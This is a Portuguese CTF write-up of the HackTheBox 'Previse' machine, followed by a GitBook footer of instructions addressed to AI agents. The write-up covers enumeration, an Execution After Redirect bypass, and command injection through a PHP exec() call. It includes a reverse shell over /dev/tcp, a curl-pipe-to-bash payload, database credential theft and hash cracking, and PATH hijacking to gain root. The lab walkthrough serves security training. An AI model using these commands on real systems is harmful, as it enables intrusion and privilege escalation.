> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# Relato do HackTheBox Previse

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração Web
* Vulnerabilidade Execution After Redirect (EAR) - Ignorando redirecionamentos
* Análise do código-fonte PHP
* Injeção de comando (RCE)
* Vazamento de Informações
* Enumeração de Banco de Dados
* Quebrando hashes
* Abuso do privilégio Sudoers + sequestro de PATH (elevação de privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/31ae384ddcd1ecfcdafc0f2ab74477520002a30f" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/4048e6a619134c58a57016abb1082f8253a12656" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="/files/ec3ff0b822b5007bfd31a80ef953baa09442a4e8" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap 22,80:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="/files/f21e685a3f0027841a71e8e66d3e582ff3b7f7f3" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

Encontramos uma página de login que exige usuário e senha.

<figure><img src="/files/0ca1fdeea241c940f5b2c60d8158f415b607a360" alt=""><figcaption></figcaption></figure>

### **Fuzzing de diretórios e arquivos PHP**

Dada a presença de um arquivo PHP, é provável que existam outros:

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **Vulnerabilidade EAR (Execution After Redirect) - Ignorando redirecionamentos**

Encontramos várias páginas contendo conteúdo, mas redirecionando para a página de login.

<figure><img src="/files/c96540c0ca83dc66af82e96f17e93c057c9d0e7a" alt=""><figcaption></figcaption></figure>

Interceptamos a requisição em `nav.php` com o Burp Suite e observamos um redirecionamento 302.

<figure><img src="/files/14c7ccf6f9a153e50270d0b7878d136e8ead0f89" alt=""><figcaption></figcaption></figure>

Ao forçar a resposta para `200 OK`, vamos diretamente para a `accounts` página.

<figure><img src="/files/0d5515d78d2afd0dbc81d26d7559cc0dd45ea17e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6a46d5c0f5210796c66d3e696d51e8073f902d72" alt=""><figcaption></figcaption></figure>

Criamos uma regra no Burp Suite para alterar automaticamente `302 Found` as respostas para `200 OK`.

<figure><img src="/files/6bed8230de831103064b8b4ef6b7a14010c4a610" alt=""><figcaption></figcaption></figure>

Em seguida, criamos um usuário `jordan` e fazemos login.

<figure><img src="/files/f4ee1f8bea65776adf5998f436a6adc0625ac150" alt=""><figcaption></figcaption></figure>

### **Análise dos arquivos recuperados**

Baixamos um arquivo encontrado em `/files`:

<figure><img src="/files/32a5437ee6ee5b2e642ebcf833943c643a3d0134" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="/files/5a9ee190af8fe3681b8602f8e229552c3d5fb49b" alt=""><figcaption></figcaption></figure>

Encontramos vários arquivos PHP e observamos que `logs.php` usa a `exec()` função sem nenhuma validação:

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="/files/2b124661266ce9578b5ec0466c73418029303775" alt=""><figcaption></figcaption></figure>

### **Exploração de injeção de comando (RCE)**

<figure><img src="/files/b76422bfa11749820fc4d2d1415446d7edd8333a" alt=""><figcaption></figcaption></figure>

Interceptamos a requisição para `file_logs.php` e injetamos um comando via a `delim` parâmetro:

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

Recebemos uma conexão.

<figure><img src="/files/a67270a89e471e9dde70edb0c82db0787875a2ae" alt=""><figcaption></figcaption></figure>

### Shell reverso

Criamos um `index.html` arquivo contendo:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Iniciamos um servidor web Python:

```bash
python3 -m http.server 80
```

Colocamos nossa máquina em escuta na porta 443:

```bash
nc -nlvp 443
```

Executamos o seguinte comando para obter a reverse shell:

```bash
;curl http://10.10.14.50  | bash
```

Agora somos o usuário `www-data`.

<figure><img src="/files/90aa5fe6a249a29e188882cb7823f6785c449ac7" alt=""><figcaption></figcaption></figure>

#### **Melhoria da shell**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **Escalada de privilégios**

### Pivotar para o usuário m4lwhere

Encontramos um arquivo contendo credenciais:

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)

<figure><img src="/files/0e7ac12dac03e2a6169c56e29a747b653853e82a" alt=""><figcaption></figcaption></figure>

Conectamo-nos ao banco de dados MySQL:

```sql
mysql -u root -p
```

Listamos os bancos de dados:

```sql
show databases;
```

Encontramos a base `previse`, que usamos:

```sql
use previse;
```

<figure><img src="/files/a5323bdc3603ca09afde6a683821351be7de18c9" alt=""><figcaption></figcaption></figure>

Exploramos o `accounts` tabela:

```sql
show tables;
describe accounts
```

<figure><img src="/files/549f6707a3d7571443757fa41057bdd355acac41" alt=""><figcaption></figcaption></figure>

Encontramos:

```sql
select username, password from accounts;
```

* username: m4lwhere
* password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="/files/b3748c6c7227fe3b06ec9c78e47d043ca88f6dd2" alt="" width="563"><figcaption></figcaption></figure>

### **Quebra de hash**

Usamos o Hashcat para decifrá-lo:

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

Senha encontrada:

* password : ilovecody112235!

<figure><img src="/files/1eba7650af5da51bd1c5cc1857bd753fba43a495" alt=""><figcaption></figcaption></figure>

Fazemos login como `m4lwhere`.

<figure><img src="/files/7be7b5299350d1bc73a94466939ea3a6ef5cda7f" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/05d349741690f969675a5a5a484611e368825bc6" alt="" width="563"><figcaption></figcaption></figure>

### **Sequestro de PATH (gzip)**

Listamos as permissões do sudo:

```bash
sudo -l
```

Encontramos um script executável como root usando `gzip` sem um caminho absoluto.

<figure><img src="/files/cf871bcda4f47f90515a027cc64194d5bee84569" alt=""><figcaption></figcaption></figure>

#### **Criando um binário malicioso**

Criamos um `gzip` arquivo em `/tmp/`:

```bash
chmod 4777 /bin/bash
```

Nós modificamos o `PATH` variável para priorizar `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/58adcdfbe296962f0a1c4e6a4c6d0e7daccd72bd" alt=""><figcaption></figcaption></figure>

Executamos o script como root:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/73278a8939b1246223cd1a8eb219689413bb754b" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/1c240ef5a4bcc8e5c79e9ecc2298d36d89e8b8db" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/226621977cecde5021d087803e4fd5b1c37c229f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
